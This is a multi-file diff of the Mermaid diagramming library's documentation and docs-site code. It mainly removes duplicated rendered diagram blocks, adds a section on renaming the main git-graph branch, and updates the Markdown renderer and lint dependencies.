|
||||
Let see an example:
|
||||
|
||||
@@ -376,23 +332,6 @@ Let see an example:
|
||||
commit id:"C"
|
||||
```
|
||||
|
||||
```mermaid
|
||||
gitGraph
|
||||
commit id: "ZERO"
|
||||
branch develop
|
||||
commit id:"A"
|
||||
checkout main
|
||||
commit id:"ONE"
|
||||
checkout develop
|
||||
commit id:"B"
|
||||
checkout main
|
||||
commit id:"TWO"
|
||||
cherry-pick id:"A"
|
||||
commit id:"THREE"
|
||||
checkout develop
|
||||
commit id:"C"
|
||||
```
|
||||
|
||||
## Gitgraph specific configuration options
|
||||
|
||||
In Mermaid, you have the option to configure the gitgraph diagram. You can configure the following options:
|
||||
@@ -456,52 +395,6 @@ Usage example:
|
||||
merge release
|
||||
```
|
||||
|
||||
```mermaid
|
||||
%%{init: { 'logLevel': 'debug', 'theme': 'base', 'gitGraph': {'showBranches': false}} }%%
|
||||
gitGraph
|
||||
commit
|
||||
branch hotfix
|
||||
checkout hotfix
|
||||
commit
|
||||
branch develop
|
||||
checkout develop
|
||||
commit id:"ash" tag:"abc"
|
||||
branch featureB
|
||||
checkout featureB
|
||||
commit type:HIGHLIGHT
|
||||
checkout main
|
||||
checkout hotfix
|
||||
commit type:NORMAL
|
||||
checkout develop
|
||||
commit type:REVERSE
|
||||
checkout featureB
|
||||
commit
|
||||
checkout main
|
||||
merge hotfix
|
||||
checkout featureB
|
||||
commit
|
||||
checkout develop
|
||||
branch featureA
|
||||
commit
|
||||
checkout develop
|
||||
merge hotfix
|
||||
checkout featureA
|
||||
commit
|
||||
checkout featureB
|
||||
commit
|
||||
checkout develop
|
||||
merge featureA
|
||||
branch release
|
||||
checkout release
|
||||
commit
|
||||
checkout main
|
||||
commit
|
||||
checkout release
|
||||
merge main
|
||||
checkout develop
|
||||
merge release
|
||||
```
|
||||
|
||||
## Commit labels Layout: Rotated or Horizontal
|
||||
|
||||
Mermaid supports two types of commit labels layout. The default layout is **rotated**, which means the labels are placed below the commit circle, rotated at 45 degrees for better readability. This is particularly useful for commits with long labels.
|
||||
@@ -531,25 +424,6 @@ gitGraph
|
||||
commit
|
||||
```
|
||||
|
||||
```mermaid
|
||||
%%{init: { 'logLevel': 'debug', 'theme': 'base', 'gitGraph': {'rotateCommitLabel': true}} }%%
|
||||
gitGraph
|
||||
commit id: "feat(api): ..."
|
||||
commit id: "a"
|
||||
commit id: "b"
|
||||
commit id: "fix(client): .extra long label.."
|
||||
branch c2
|
||||
commit id: "feat(modules): ..."
|
||||
commit id: "test(client): ..."
|
||||
checkout main
|
||||
commit id: "fix(api): ..."
|
||||
commit id: "ci: ..."
|
||||
branch b1
|
||||
commit
|
||||
branch b2
|
||||
commit
|
||||
```
|
||||
|
||||
Usage example: Horizontal commit labels
|
||||
|
||||
```mermaid-example
|
||||
@@ -571,25 +445,6 @@ gitGraph
|
||||
commit
|
||||
```
|
||||
|
||||
```mermaid
|
||||
%%{init: { 'logLevel': 'debug', 'theme': 'base', 'gitGraph': {'rotateCommitLabel': false}} }%%
|
||||
gitGraph
|
||||
commit id: "feat(api): ..."
|
||||
commit id: "a"
|
||||
commit id: "b"
|
||||
commit id: "fix(client): .extra long label.."
|
||||
branch c2
|
||||
commit id: "feat(modules): ..."
|
||||
commit id: "test(client): ..."
|
||||
checkout main
|
||||
commit id: "fix(api): ..."
|
||||
commit id: "ci: ..."
|
||||
branch b1
|
||||
commit
|
||||
branch b2
|
||||
commit
|
||||
```
|
||||
|
||||
## Hiding commit labels
|
||||
|
||||
Sometimes you may want to hide the commit labels from the diagram. You can do this by using the `showCommitLabel` keyword. By default its value is `true`. You can set it to `false` using directives.
|
||||
@@ -642,8 +497,14 @@ Usage example:
|
||||
merge release
|
||||
```
|
||||
|
||||
```mermaid
|
||||
%%{init: { 'logLevel': 'debug', 'theme': 'base', 'gitGraph': {'showBranches': false,'showCommitLabel': false}} }%%
|
||||
## Customizing main branch name
|
||||
|
||||
Sometimes you may want to customize the name of the main/default branch. You can do this by using the `mainBranchName` keyword. By default its value is `main`. You can set it to any string using directives.
|
||||
|
||||
Usage example:
|
||||
|
||||
```mermaid-example
|
||||
%%{init: { 'logLevel': 'debug', 'theme': 'base', 'gitGraph': {'showBranches': true, 'showCommitLabel':true,'mainBranchName': 'MetroLine1'}} }%%
|
||||
gitGraph
|
||||
commit
|
||||
branch hotfix
|
||||
@@ -718,30 +579,6 @@ Usage example:
|
||||
commit type:REVERSE id:"SanFrancisco"
|
||||
```
|
||||
|
||||
```mermaid
|
||||
%%{init: { 'logLevel': 'debug', 'theme': 'base', 'gitGraph': {'showBranches': true, 'showCommitLabel':true,'mainBranchName': 'MetroLine1'}} }%%
|
||||
gitGraph
|
||||
commit id:"NewYork"
|
||||
commit id:"Dallas"
|
||||
branch MetroLine2
|
||||
commit id:"LosAngeles"
|
||||
commit id:"Chicago"
|
||||
commit id:"Houston"
|
||||
branch MetroLine3
|
||||
commit id:"Phoenix"
|
||||
commit type: HIGHLIGHT id:"Denver"
|
||||
commit id:"Boston"
|
||||
checkout MetroLine1
|
||||
commit id:"Atlanta"
|
||||
merge MetroLine3
|
||||
commit id:"Miami"
|
||||
commit id:"Washington"
|
||||
merge MetroLine2 tag:"MY JUNCTION"
|
||||
commit id:"Boston"
|
||||
commit id:"Detroit"
|
||||
commit type:REVERSE id:"SanFrancisco"
|
||||
```
|
||||
|
||||
Look at the imaginary railroad map created using Mermaid. Here, we have changed the default main branch name to `MetroLine1`.
|
||||
|
||||
## Customizing branch ordering
|
||||
@@ -770,16 +607,6 @@ Usage example:
|
||||
|
||||
```
|
||||
|
||||
```mermaid
|
||||
%%{init: { 'logLevel': 'debug', 'theme': 'base', 'gitGraph': {'showBranches': true, 'showCommitLabel':true}} }%%
|
||||
gitGraph
|
||||
commit
|
||||
branch test1 order: 3
|
||||
branch test2 order: 2
|
||||
branch test3 order: 1
|
||||
|
||||
```
|
||||
|
||||
Look at the diagram, all the branches are following the order defined.
|
||||
|
||||
Usage example:
|
||||
@@ -795,17 +622,6 @@ Usage example:
|
||||
|
||||
```
|
||||
|
||||
```mermaid
|
||||
%%{init: { 'logLevel': 'debug', 'theme': 'base', 'gitGraph': {'showBranches': true, 'showCommitLabel':true,'mainBranchOrder': 2}} }%%
|
||||
gitGraph
|
||||
commit
|
||||
branch test1 order: 3
|
||||
branch test2
|
||||
branch test3
|
||||
branch test4 order: 1
|
||||
|
||||
```
|
||||
|
||||
Look at the diagram, here, all the branches without a specified order are drawn in their order of definition.
|
||||
Then, `test4` branch is drawn because the order of `1`.
|
||||
Then, `main` branch is drawn because the order of `2`.
|
||||
@@ -1112,7 +928,7 @@ Let's put them to use, and see how our sample diagram looks in different themes:
|
||||
merge release
|
||||
```
|
||||
|
||||
### Dark Theme
|
||||
### Forest Theme
|
||||
|
||||
```mermaid-example
|
||||
%%{init: { 'logLevel': 'debug', 'theme': 'dark' } }%%
|
||||
@@ -1160,6 +976,8 @@ Let's put them to use, and see how our sample diagram looks in different themes:
|
||||
merge release
|
||||
```
|
||||
|
||||
### Default Theme
|
||||
|
||||
```mermaid
|
||||
%%{init: { 'logLevel': 'debug', 'theme': 'dark' } }%%
|
||||
gitGraph
|
||||
@@ -1206,7 +1024,7 @@ Let's put them to use, and see how our sample diagram looks in different themes:
|
||||
merge release
|
||||
```
|
||||
|
||||
### Neutral Theme
|
||||
### Dark Theme
|
||||
|
||||
```mermaid-example
|
||||
%%{init: { 'logLevel': 'debug', 'theme': 'neutral' } }%%
|
||||
@@ -1254,6 +1072,8 @@ Let's put them to use, and see how our sample diagram looks in different themes:
|
||||
merge release
|
||||
```
|
||||
|
||||
### Neutral Theme
|
||||
|
||||
```mermaid
|
||||
%%{init: { 'logLevel': 'debug', 'theme': 'neutral' } }%%
|
||||
gitGraph
|
||||
@@ -1324,22 +1144,6 @@ See how the default theme is used to set the colors for the branches:
|
||||
commit
|
||||
```
|
||||
|
||||
```mermaid
|
||||
%%{init: { 'logLevel': 'debug', 'theme': 'default' } }%%
|
||||
gitGraph
|
||||
commit
|
||||
branch develop
|
||||
commit tag:"v1.0.0"
|
||||
commit
|
||||
checkout main
|
||||
commit type: HIGHLIGHT
|
||||
commit
|
||||
merge develop
|
||||
commit
|
||||
branch featureA
|
||||
commit
|
||||
```
|
||||
|
||||
> #### IMPORTANT:
|
||||
>
|
||||
> Mermaid supports the theme variables to override the default values for **up to 8 branches**, i.e., you can set the color/styling of up to 8 branches using theme variables. After this threshold of 8 branches, the theme variables are reused in the cyclic manner, i.e. the 9th branch will use the color/styling of the 1st branch, or the branch at index position '8' will use the color/styling of the branch at index position '0'.
|
||||
@@ -1381,32 +1185,6 @@ Now let's override the default values for the `git0` to `git3` variables:
|
||||
|
||||
```
|
||||
|
||||
```mermaid
|
||||
%%{init: { 'logLevel': 'debug', 'theme': 'default' , 'themeVariables': {
|
||||
'git0': '#ff0000',
|
||||
'git1': '#00ff00',
|
||||
'git2': '#0000ff',
|
||||
'git3': '#ff00ff',
|
||||
'git4': '#00ffff',
|
||||
'git5': '#ffff00',
|
||||
'git6': '#ff00ff',
|
||||
'git7': '#00ffff'
|
||||
} } }%%
|
||||
gitGraph
|
||||
commit
|
||||
branch develop
|
||||
commit tag:"v1.0.0"
|
||||
commit
|
||||
checkout main
|
||||
commit type: HIGHLIGHT
|
||||
commit
|
||||
merge develop
|
||||
commit
|
||||
branch featureA
|
||||
commit
|
||||
|
||||
```
|
||||
|
||||
See how the branch colors are changed to the values specified in the theme variables.
|
||||
|
||||
### Customizing branch label colors
|
||||
@@ -1445,34 +1223,6 @@ Now let's override the default values for the `gitBranchLabel0` to `gitBranchLab
|
||||
commit
|
||||
```
|
||||
|
||||
```mermaid
|
||||
%%{init: { 'logLevel': 'debug', 'theme': 'default' , 'themeVariables': {
|
||||
'gitBranchLabel0': '#ffffff',
|
||||
'gitBranchLabel1': '#ffffff',
|
||||
'gitBranchLabel2': '#ffffff',
|
||||
'gitBranchLabel3': '#ffffff',
|
||||
'gitBranchLabel4': '#ffffff',
|
||||
'gitBranchLabel5': '#ffffff',
|
||||
'gitBranchLabel6': '#ffffff',
|
||||
'gitBranchLabel7': '#ffffff',
|
||||
'gitBranchLabel8': '#ffffff',
|
||||
'gitBranchLabel9': '#ffffff'
|
||||
} } }%%
|
||||
gitGraph
|
||||
checkout main
|
||||
branch branch1
|
||||
branch branch2
|
||||
branch branch3
|
||||
branch branch4
|
||||
branch branch5
|
||||
branch branch6
|
||||
branch branch7
|
||||
branch branch8
|
||||
branch branch9
|
||||
checkout branch1
|
||||
commit
|
||||
```
|
||||
|
||||
Here, you can see that `branch8` and `branch9` colors and the styles are being picked from branch at index position `0` (`main`) and `1`(`branch1`) respectively, i.e., **branch themeVariables are repeated cyclically**.
|
||||
|
||||
### Customizing Commit colors
|
||||
@@ -1502,26 +1252,6 @@ Now let's override the default values for the `commitLabelColor` to `commitLabel
|
||||
|
||||
```
|
||||
|
||||
```mermaid
|
||||
%%{init: { 'logLevel': 'debug', 'theme': 'default' , 'themeVariables': {
|
||||
'commitLabelColor': '#ff0000',
|
||||
'commitLabelBackground': '#00ff00'
|
||||
} } }%%
|
||||
gitGraph
|
||||
commit
|
||||
branch develop
|
||||
commit tag:"v1.0.0"
|
||||
commit
|
||||
checkout main
|
||||
commit type: HIGHLIGHT
|
||||
commit
|
||||
merge develop
|
||||
commit
|
||||
branch featureA
|
||||
commit
|
||||
|
||||
```
|
||||
|
||||
See how the commit label color and background color are changed to the values specified in the theme variables.
|
||||
|
||||
### Customizing Commit Label Font Size
|
||||
@@ -1552,27 +1282,6 @@ Now let's override the default values for the `commitLabelFontSize` variable:
|
||||
|
||||
```
|
||||
|
||||
```mermaid
|
||||
%%{init: { 'logLevel': 'debug', 'theme': 'default' , 'themeVariables': {
|
||||
'commitLabelColor': '#ff0000',
|
||||
'commitLabelBackground': '#00ff00',
|
||||
'commitLabelFontSize': '16px'
|
||||
} } }%%
|
||||
gitGraph
|
||||
commit
|
||||
branch develop
|
||||
commit tag:"v1.0.0"
|
||||
commit
|
||||
checkout main
|
||||
commit type: HIGHLIGHT
|
||||
commit
|
||||
merge develop
|
||||
commit
|
||||
branch featureA
|
||||
commit
|
||||
|
||||
```
|
||||
|
||||
See how the commit label font size changed.
|
||||
|
||||
### Customizing Tag Label Font Size
|
||||
@@ -1603,27 +1312,6 @@ Now let's override the default values for the `tagLabelFontSize` variable:
|
||||
|
||||
```
|
||||
|
||||
```mermaid
|
||||
%%{init: { 'logLevel': 'debug', 'theme': 'default' , 'themeVariables': {
|
||||
'commitLabelColor': '#ff0000',
|
||||
'commitLabelBackground': '#00ff00',
|
||||
'tagLabelFontSize': '16px'
|
||||
} } }%%
|
||||
gitGraph
|
||||
commit
|
||||
branch develop
|
||||
commit tag:"v1.0.0"
|
||||
commit
|
||||
checkout main
|
||||
commit type: HIGHLIGHT
|
||||
commit
|
||||
merge develop
|
||||
commit
|
||||
branch featureA
|
||||
commit
|
||||
|
||||
```
|
||||
|
||||
See how the tag label font size changed.
|
||||
|
||||
### Customizing Tag colors
|
||||
@@ -1653,27 +1341,6 @@ Now let's override the default values for the `tagLabelColor`, `tagLabelBackgrou
|
||||
|
||||
```
|
||||
|
||||
```mermaid
|
||||
%%{init: { 'logLevel': 'debug', 'theme': 'default' , 'themeVariables': {
|
||||
'tagLabelColor': '#ff0000',
|
||||
'tagLabelBackground': '#00ff00',
|
||||
'tagLabelBorder': '#0000ff'
|
||||
} } }%%
|
||||
gitGraph
|
||||
commit
|
||||
branch develop
|
||||
commit tag:"v1.0.0"
|
||||
commit
|
||||
checkout main
|
||||
commit type: HIGHLIGHT
|
||||
commit
|
||||
merge develop
|
||||
commit
|
||||
branch featureA
|
||||
commit
|
||||
|
||||
```
|
||||
|
||||
See how the tag colors are changed to the values specified in the theme variables.
|
||||
|
||||
### Customizing Highlight commit colors
|
||||
@@ -1703,23 +1370,4 @@ Now let's override the default values for the `git0` to `git3` variables:
|
||||
|
||||
```
|
||||
|
||||
```mermaid
|
||||
%%{init: { 'logLevel': 'debug', 'theme': 'default' , 'themeVariables': {
|
||||
'gitInv0': '#ff0000'
|
||||
} } }%%
|
||||
gitGraph
|
||||
commit
|
||||
branch develop
|
||||
commit tag:"v1.0.0"
|
||||
commit
|
||||
checkout main
|
||||
commit type: HIGHLIGHT
|
||||
commit
|
||||
merge develop
|
||||
commit
|
||||
branch featureA
|
||||
commit
|
||||
|
||||
```
|
||||
|
||||
See how the highlighted commit color on the first branch is changed to the value specified in the theme variable `gitInv0`.
|
||||
|
||||
@@ -103,14 +103,26 @@
|
||||
markdown: {
|
||||
renderer: {
|
||||
code: function (code, lang) {
|
||||
if (lang === 'mermaid-example') {
|
||||
currentCodeExample++;
|
||||
colorize.push(currentCodeExample);
|
||||
return '<pre id="code' + currentCodeExample + '">' + escapeHTML(code) + '</pre>';
|
||||
} else if (lang === 'mermaid') {
|
||||
return (
|
||||
'<pre class="mermaid">' + mermaid.render('mermaid-svg-' + num++, code) + '</pre>'
|
||||
);
|
||||
if (lang && (lang.startsWith('mermaid') || lang === 'mmd')) {
|
||||
var resultingHTML = '';
|
||||
|
||||
if (lang === 'mmd' || lang === 'mermaid-example') {
|
||||
currentCodeExample++;
|
||||
colorize.push(currentCodeExample);
|
||||
resultingHTML +=
|
||||
'<pre id="code' + currentCodeExample + '">' + escapeHTML(code) + '</pre>';
|
||||
}
|
||||
|
||||
if (lang === 'mermaid' || lang === 'mermaid-example') {
|
||||
resultingHTML +=
|
||||
'<div class="mermaid">' +
|
||||
mermaid.render('mermaid-svg-' + num++, code) +
|
||||
'</div>';
|
||||
}
|
||||
|
||||
if (resultingHTML !== '') {
|
||||
return resultingHTML;
|
||||
}
|
||||
}
|
||||
return this.origin.code.apply(this, arguments);
|
||||
},
|
||||
|
||||
@@ -6,14 +6,18 @@
|
||||
|
||||
A more condensed html code can be achieved by embedding the mermaid code in its own .js file, which is referenced like so:
|
||||
|
||||
stuff stuff
|
||||
</div>
|
||||
</body>
|
||||
</html>
|
||||
```
|
||||
stuff stuff
|
||||
</div>
|
||||
</body>
|
||||
</html>
|
||||
```
|
||||
|
||||
The actual mermaid file could for example look like this:
|
||||
|
||||
mermaid content...
|
||||
```
|
||||
mermaid content...
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
|
||||
@@ -26,18 +26,6 @@ erDiagram
|
||||
PRODUCT ||--o{ ORDER-ITEM : "ordered in"
|
||||
```
|
||||
|
||||
```mermaid
|
||||
erDiagram
|
||||
CUSTOMER }|..|{ DELIVERY-ADDRESS : has
|
||||
CUSTOMER ||--o{ ORDER : places
|
||||
CUSTOMER ||--o{ INVOICE : "liable for"
|
||||
DELIVERY-ADDRESS ||--o{ ORDER : receives
|
||||
INVOICE ||--|{ ORDER : covers
|
||||
ORDER ||--|{ ORDER-ITEM : includes
|
||||
PRODUCT-CATEGORY ||--|{ PRODUCT : contains
|
||||
PRODUCT ||--o{ ORDER-ITEM : "ordered in"
|
||||
```
|
||||
|
||||
The [Getting Started](./n00b-gettingStarted.md) section can also provide some practical examples of mermaid syntax.
|
||||
|
||||
## Diagram Breaking
|
||||
|
||||
@@ -169,6 +169,10 @@ It is probably a good idea to keep the handling similar to this in your new diag
|
||||
|
||||
The syntax for adding title and description looks like this:
|
||||
|
||||
````
|
||||
accTitle: The title
|
||||
accDescr: The description
|
||||
|
||||
accTitle: The title
|
||||
accDescr: The description
|
||||
|
||||
@@ -199,7 +203,7 @@ statement
|
||||
: acc_title acc_title_value { $$=$2.trim();yy.setTitle($$); }
|
||||
| acc_descr acc_descr_value { $$=$2.trim();yy.setAccDescription($$); }
|
||||
| acc_descr_multiline_value { $$=$1.trim();yy.setAccDescription($$); }
|
||||
```
|
||||
````
|
||||
|
||||
The functions for setting title and description are provided by a common module. This is the import from flowDb.js:
|
||||
|
||||
@@ -258,4 +262,4 @@ const themes = {
|
||||
};
|
||||
```
|
||||
|
||||
The actual options and values for the colors are defined in **src/theme/theme-\[xyz].js**. If you provide the options your diagram needs in the existing theme files then the theming will work smoothly without hiccups.
|
||||
The actual options and values for the colors are defined in **src/theme/theme-[xyz].js**. If you provide the options your diagram needs in the existing theme files then the theming will work smoothly without hiccups.
|
||||
|
||||
19
docs/pie.md
19
docs/pie.md
@@ -3,7 +3,7 @@
|
||||
# Pie chart diagrams
|
||||
|
||||
> A pie chart (or a circle chart) is a circular statistical graphic, which is divided into slices to illustrate numerical proportion. In a pie chart, the arc length of each slice (and consequently its central angle and area), is proportional to the quantity it represents. While it is named for its resemblance to a pie which has been sliced, there are variations on the way it can be presented. The earliest known pie chart is generally credited to William Playfair's Statistical Breviary of 1801
|
||||
> \-Wikipedia
|
||||
> -Wikipedia
|
||||
|
||||
Mermaid can render Pie Chart diagrams.
|
||||
|
||||
@@ -14,13 +14,6 @@ pie title Pets adopted by volunteers
|
||||
"Rats" : 15
|
||||
```
|
||||
|
||||
```mermaid
|
||||
pie title Pets adopted by volunteers
|
||||
"Dogs" : 386
|
||||
"Cats" : 85
|
||||
"Rats" : 15
|
||||
```
|
||||
|
||||
## Syntax
|
||||
|
||||
Drawing a pie chart is really simple in mermaid.
|
||||
@@ -33,11 +26,11 @@ Drawing a pie chart is really simple in mermaid.
|
||||
- Followed by `:` colon as separator
|
||||
- Followed by `positive numeric value` (supported upto two decimal places)
|
||||
|
||||
\[pie] \[showData] (OPTIONAL)
|
||||
\[title] \[titlevalue] (OPTIONAL)
|
||||
"\[datakey1]" : \[dataValue1]
|
||||
"\[datakey2]" : \[dataValue2]
|
||||
"\[datakey3]" : \[dataValue3]
|
||||
[pie] [showData] (OPTIONAL)
|
||||
[title] [titlevalue] (OPTIONAL)
|
||||
"[datakey1]" : [dataValue1]
|
||||
"[datakey2]" : [dataValue2]
|
||||
"[datakey3]" : [dataValue3]
|
||||
.
|
||||
.
|
||||
|
||||
|
||||
@@ -71,10 +71,7 @@ Type, risk, and method are enumerations defined in SysML.
|
||||
|
||||
An element definition contains an element name, type, and document reference. These three are all user defined. The element feature is intended to be lightweight but allow requirements to be connected to portions of other documents.
|
||||
|
||||
element user_defined_name {
|
||||
type: user_defined_type
|
||||
docref: user_defined_ref
|
||||
}
|
||||
An element definition contains an element name, type, and document reference. These three are all user defined. The element feature is intended to be lightweight but allow requirements to be connected to portions of other documents.
|
||||
|
||||
### Relationship
|
||||
|
||||
|
||||
@@ -1,5 +1,3 @@
|
||||
# THIS IS AN AUTOGENERATED FILE. DO NOT EDIT. Please edit corresponding file in src/docs.
|
||||
|
||||
# Security
|
||||
|
||||
The Mermaid team takes the security of Mermaid and the applications that use Mermaid seriously. This page describes how to report any vulnerabilities you may find, and lists best practices to minimize the risk of introducing a vulnerability.
|
||||
|
||||
@@ -2,6 +2,8 @@
|
||||
|
||||
# Sequence diagrams
|
||||
|
||||
**Edit this Page** [](https://github.com/mermaid-js/mermaid/blob/develop/docs/sequenceDiagram.md)
|
||||
|
||||
> A Sequence diagram is an interaction diagram that shows how processes operate with one another and in what order.
|
||||
|
||||
Mermaid can render sequence diagrams.
|
||||
@@ -552,7 +554,9 @@ Actors can have popup-menus containing individualized links to external pages. F
|
||||
|
||||
This can be configured by adding one or more link lines with the format:
|
||||
|
||||
link <actor>: <link-label> @ <link-url>
|
||||
```
|
||||
link <actor>: <link-label> @ <link-url>
|
||||
```
|
||||
|
||||
```mmd
|
||||
sequenceDiagram
|
||||
|
||||
@@ -223,26 +223,6 @@ stateDiagram-v2
|
||||
}
|
||||
```
|
||||
|
||||
```mermaid
|
||||
stateDiagram-v2
|
||||
[*] --> First
|
||||
First --> Second
|
||||
First --> Third
|
||||
|
||||
state First {
|
||||
[*] --> fir
|
||||
fir --> [*]
|
||||
}
|
||||
state Second {
|
||||
[*] --> sec
|
||||
sec --> [*]
|
||||
}
|
||||
state Third {
|
||||
[*] --> thi
|
||||
thi --> [*]
|
||||
}
|
||||
```
|
||||
|
||||
_You can not define transitions between internal states belonging to different composite states_
|
||||
|
||||
## Choice
|
||||
@@ -386,19 +366,6 @@ stateDiagram
|
||||
B --> D
|
||||
```
|
||||
|
||||
```mermaid
|
||||
stateDiagram
|
||||
direction LR
|
||||
[*] --> A
|
||||
A --> B
|
||||
B --> C
|
||||
state B {
|
||||
direction LR
|
||||
a --> b
|
||||
}
|
||||
B --> D
|
||||
```
|
||||
|
||||
## Comments
|
||||
|
||||
Comments can be entered within a state diagram chart, which will be ignored by the parser. Comments need to be on their own line, and must be prefaced with `%%` (double percent signs). Any text after the start of the comment to the next newline will be treated as a comment, including any diagram syntax
|
||||
|
||||
@@ -12,15 +12,15 @@ Themes follow and build upon the Levels of Configuration, and employ `directives
|
||||
|
||||
The following are a list of **Deployable themes**, sample `%%init%%` directives and `initialize` calls.
|
||||
|
||||
1. **base**- Designed to be modified, as the name implies it is supposed to be used as the base for making custom themes.
|
||||
1. **base**- Designed to be modified, as the name implies it is supposed to be used as the base for making custom themes.
|
||||
|
||||
2. **forest**- A theme full of light greens that is easy on the eyes.
|
||||
1. **base**- Designed to be modified, as the name implies it is supposed to be used as the base for making custom themes.
|
||||
|
||||
3. **dark**- A theme that would go well with other dark-colored elements.
|
||||
1. **forest**- A theme full of light greens that is easy on the eyes.
|
||||
|
||||
4. **default**- The default theme for all diagrams.
|
||||
1. **dark**- A theme that would go well with other dark-colored elements.
|
||||
|
||||
5. **neutral**- The theme to be used for black and white printing.
|
||||
1. **default**- The default theme for all diagrams.
|
||||
|
||||
## Site-wide Themes
|
||||
|
||||
@@ -67,24 +67,6 @@ Here is an example of how `%%init%%` can set the theme to 'base', this assumes t
|
||||
end
|
||||
```
|
||||
|
||||
```mermaid
|
||||
%%{init: {'theme':'base'}}%%
|
||||
graph TD
|
||||
A[Christmas] -->|Get money| B(Go shopping)
|
||||
B --> C{Let me think}
|
||||
B --> G[/Another/]
|
||||
C ==>|One| D[Laptop]
|
||||
C -->|Two| E[iPhone]
|
||||
C -->|Three| F[fa:fa-car Car]
|
||||
subgraph section
|
||||
C
|
||||
D
|
||||
E
|
||||
F
|
||||
G
|
||||
end
|
||||
```
|
||||
|
||||
# List of Themes
|
||||
|
||||
# Customizing Themes with `themeVariables`
|
||||
@@ -115,24 +97,6 @@ The easiest way to make a custom theme is to start with the base theme, and just
|
||||
end
|
||||
```
|
||||
|
||||
```mermaid
|
||||
%%{init: {'theme': 'base', 'themeVariables': { 'primaryColor': '#ff0000'}}}%%
|
||||
graph TD
|
||||
A[Christmas] -->|Get money| B(Go shopping)
|
||||
B --> C{Let me think}
|
||||
B --> G[/Another/]
|
||||
C ==>|One| D[Laptop]
|
||||
C -->|Two| E[iPhone]
|
||||
C -->|Three| F[fa:fa-car Car]
|
||||
subgraph section
|
||||
C
|
||||
D
|
||||
E
|
||||
F
|
||||
G
|
||||
end
|
||||
```
|
||||
|
||||
**Notes:**
|
||||
Leaving it empty will set all variable values to default.
|
||||
|
||||
@@ -256,24 +220,6 @@ Variables that are unique to some diagrams can be affected by changes in Theme V
|
||||
end
|
||||
```
|
||||
|
||||
```mermaid
|
||||
%%{init: {'theme': 'base', 'themeVariables': { 'primaryColor': '#ff0000'}}}%%
|
||||
graph TD
|
||||
A[Christmas] -->|Get money| B(Go shopping)
|
||||
B --> C{Let me think}
|
||||
B --> G[/Another/]
|
||||
C ==>|One| D[Laptop]
|
||||
C -->|Two| E[iPhone]
|
||||
C -->|Three| F[fa:fa-car Car]
|
||||
subgraph section
|
||||
C
|
||||
D
|
||||
E
|
||||
F
|
||||
G
|
||||
end
|
||||
```
|
||||
|
||||
\*\*This got a bit too dark and bit too colorful. With some easy steps this can be fixed:
|
||||
|
||||
- Make the primary color a little lighter
|
||||
@@ -347,24 +293,6 @@ In the following examples, the directive `init` is used, with the `theme` being
|
||||
end
|
||||
```
|
||||
|
||||
```mermaid-example
|
||||
%%{init: {'securityLevel': 'loose', 'theme':'base'}}%%
|
||||
graph TD
|
||||
A[Christmas] -->|Get money| B(Go shopping)
|
||||
B --> C{Let me think}
|
||||
B --> G[/Another/]
|
||||
C ==>|One| D[Laptop]
|
||||
C -->|Two| E[iPhone]
|
||||
C -->|Three| F[fa:fa-car Car]
|
||||
subgraph section
|
||||
C
|
||||
D
|
||||
E
|
||||
F
|
||||
G
|
||||
end
|
||||
```
|
||||
|
||||
```mermaid
|
||||
%%{init: {'securityLevel': 'loose', 'theme':'base'}}%%
|
||||
graph TD
|
||||
|
||||
@@ -1,5 +1,3 @@
|
||||
# THIS IS AN AUTOGENERATED FILE. DO NOT EDIT. Please edit corresponding file in src/docs.
|
||||
|
||||
# Usage
|
||||
|
||||
Mermaid is a JavaScript tool that makes use of a Markdown based syntax to render customizable diagrams, charts and visualizations.
|
||||
@@ -242,11 +240,11 @@ var id = 'theGraph';
|
||||
mermaidAPI.render(id, txt, insertSvg, element);
|
||||
```
|
||||
|
||||
1. The graph is generated using the render call.
|
||||
2. After generation the render function calls the provided callback function, in this case it's called insertSvg.
|
||||
3. The callback function is called with two parameters, the SVG code of the generated graph and a function. This function binds events to the SVG **after** it is inserted into the DOM.
|
||||
4. Insert the SVG code into the DOM for presentation.
|
||||
5. Call the binding function that binds the events.
|
||||
1. The graph is generated using the render call.
|
||||
2. After generation the render function calls the provided callback function, in this case it's called insertSvg.
|
||||
3. The callback function is called with two parameters, the SVG code of the generated graph and a function. This function binds events to the SVG **after** it is inserted into the DOM.
|
||||
4. Insert the SVG code into the DOM for presentation.
|
||||
5. Call the binding function that binds the events.
|
||||
|
||||
## Example of a marked renderer
|
||||
|
||||
@@ -323,10 +321,10 @@ One effective and more future-proof method of validating your graph definitions,
|
||||
Mermaid takes a number of options which lets you tweak the rendering of the diagrams. Currently there are three ways of
|
||||
setting the options in mermaid.
|
||||
|
||||
1. Instantiation of the configuration using the initialize call
|
||||
2. _Using the global mermaid object_ - **Deprecated**
|
||||
3. _using the global mermaid_config object_ - **Deprecated**
|
||||
4. Instantiation of the configuration using the **mermaid.init** call- **Deprecated**
|
||||
1. Instantiation of the configuration using the initialize call
|
||||
2. _Using the global mermaid object_ - **Deprecated**
|
||||
3. _using the global mermaid_config object_ - **Deprecated**
|
||||
4. Instantiation of the configuration using the **mermaid.init** call- **Deprecated**
|
||||
|
||||
The list above has two ways too many of doing this. Three are deprecated and will eventually be removed. The list of
|
||||
configuration objects are described [in the mermaidAPI documentation](Setup.md).
|
||||
|
||||
@@ -85,6 +85,8 @@
|
||||
"@types/dompurify": "^2.3.3",
|
||||
"@types/jest": "^28.1.7",
|
||||
"@types/stylis": "^4.0.2",
|
||||
"@typescript-eslint/eslint-plugin": "^5.36.1",
|
||||
"@typescript-eslint/parser": "^5.36.1",
|
||||
"babel-jest": "^29.0.1",
|
||||
"babel-loader": "^8.2.2",
|
||||
"concurrently": "^7.0.0",
|
||||
|
||||
@@ -15,6 +15,10 @@ import Diagram from '../Diagram';
|
||||
// const {parse} = jest.requireActual("./mermaidAPI");
|
||||
|
||||
let hasLoadedDiagrams = false;
|
||||
/**
|
||||
* @param text
|
||||
* @param parseError
|
||||
*/
|
||||
function parse(text: string, parseError?: Function): boolean {
|
||||
if (!hasLoadedDiagrams) {
|
||||
addDiagrams();
|
||||
|
||||
@@ -1,5 +1,5 @@
|
||||
import { select } from 'd3';
|
||||
import { log } from '../logger'; // eslint-disable-line
|
||||
import { log } from '../logger';
|
||||
import { getConfig } from '../config';
|
||||
import { sanitizeText, evaluate } from '../diagrams/common/common';
|
||||
import { decodeEntities } from '../mermaidAPI';
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
import { log } from '../logger'; // eslint-disable-line
|
||||
import { log } from '../logger';
|
||||
import createLabel from './createLabel';
|
||||
import { line, curveBasis, select } from 'd3';
|
||||
import { getConfig } from '../config';
|
||||
|
